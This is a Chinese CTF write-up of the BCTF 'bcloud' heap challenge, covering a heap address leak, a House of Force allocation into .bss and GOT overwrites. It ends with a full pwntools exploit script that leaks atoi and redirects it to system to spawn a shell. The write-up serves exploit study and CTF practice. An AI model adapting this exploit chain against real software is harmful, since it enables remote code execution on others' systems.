0x00: 简介
最近在复现一些优质CTF里的题目,所以这个系列的文章会有点多…先做了下BCTF的热身题目–bcloud,一个堆上的利用。
0x01:程序分析
程序是个菜单式的程序,看了下功能,应该就是堆上的一些利用了。
看下开启了什么保护。
基本信息就是上面说的那样,下面是具体的分析:
- 功能:每个笔记(chunk)的大小、内容、状态以数组形式存储在.bss段
- 问题:ban掉了show的操作,需要自己去构造下泄露了。
先开始看在进入菜单之前的函数:
这个函数读入用户名,没看到明显的溢出点,但是问题在于 unsafe_read() 函数,如果输入长度为0x40,那么就可以引发一个堆地址泄露,即在输出用户名的时候,输出一个堆地址。
地址泄露 get!
下面是这个函数,读取host 和 org然后malloc分配空间,之后拷贝过去,由于使用的还是unsafe_read(),所以可以构造一个hof,这种利用需要堆地址,正好,之前有个泄露,这下就满足条件了。
0x02:利用思路
那么既然确定了是hof利用,利用的思路就出来了:
利用hof的思路,去分配到.bss上的 0x0804b0a0 地址
1 2 3 4 5
| chunk_length[] ----> 0x0804b0a0 ... chunk_status[] ... chunk_list[] ----> 0x0804B120
|
分配到之后,利用edit功能去填入要改写的函数got,先构造一次泄露:
1
| chunk_list[]中放:atoi@got,free@got,atoi@got
|
然后修改free@got为printf函数地址,利用delete功能去泄露atoi地址。
- 得到atoi()地址之后,利用libc.so确定system()和atoi()的偏移。
- 修改atoi()地址为system(),之后随便用下菜单的功能,发送一个/bin/sh\0过去就getshell了。
0x03:exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
|
from pwn import * context.log_level = 'debug' name_addr = 0x0804B0CC bss_addr = 0x0804b0a0 atoi = 0x0804b03c free = 0x0804b014 printf_plt = 0x080484D0 ''' chunk_length[] ----> 0x0804b0a0 chunk_status[] chunk_list[] ----> 0x0804B120 ''' target = "./bcloud"
p = process(target)
def new_note(p,length,content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('content:') p.sendline(str(length)) p.recvuntil('content:') p.sendline(str(content)) def edit_note(p,index,new_content): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('id:') p.sendline(str(index)) p.recvuntil('content:') p.sendline(str(new_content)) def delete_note(p,index): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('id:') p.sendline(str(index)) def main(): name = "A"*60+"BBBB" p.send(name) p.recvuntil('BBBB') leak = u32(p.recv(4)) print hex(leak) usr_host = "B"*0x40 fuck_top_chunk = "\xff\xff\xff\xff" p.send(usr_host) p.sendline(fuck_top_chunk) size = (bss_addr-0x8)-leak-0x8 - 208 new_note(p,size,'AAAA') p.recvuntil('option--->>') p.sendline('1') p.recvuntil('content:') p.sendline('172') payload = p32(4) payload += p32(4) payload += p32(4) payload += p32(0) * 29 payload += p32(atoi) payload += p32(free) payload += p32(atoi) payload += p32(0) * 8 p.send(payload) raw_input('$debug...') p.sendline('3') p.sendline('1') p.send(p32(printf_plt)) delete_note(p,0) garbage = p.recvuntil("Input the id:\n") leak_atoi = u32(p.recv(4)) print "got atoi() ---->"+hex(leak_atoi) system_addr = leak_atoi + 0xd8f0 p.sendline('3') p.sendline('2') p.send(p32(system_addr)) garbage = p.recv() p.sendline("/bin/sh\x00") p.interactive() if __name__ == '__main__': main()
|
getshell~~
0x04:参考
uaf.io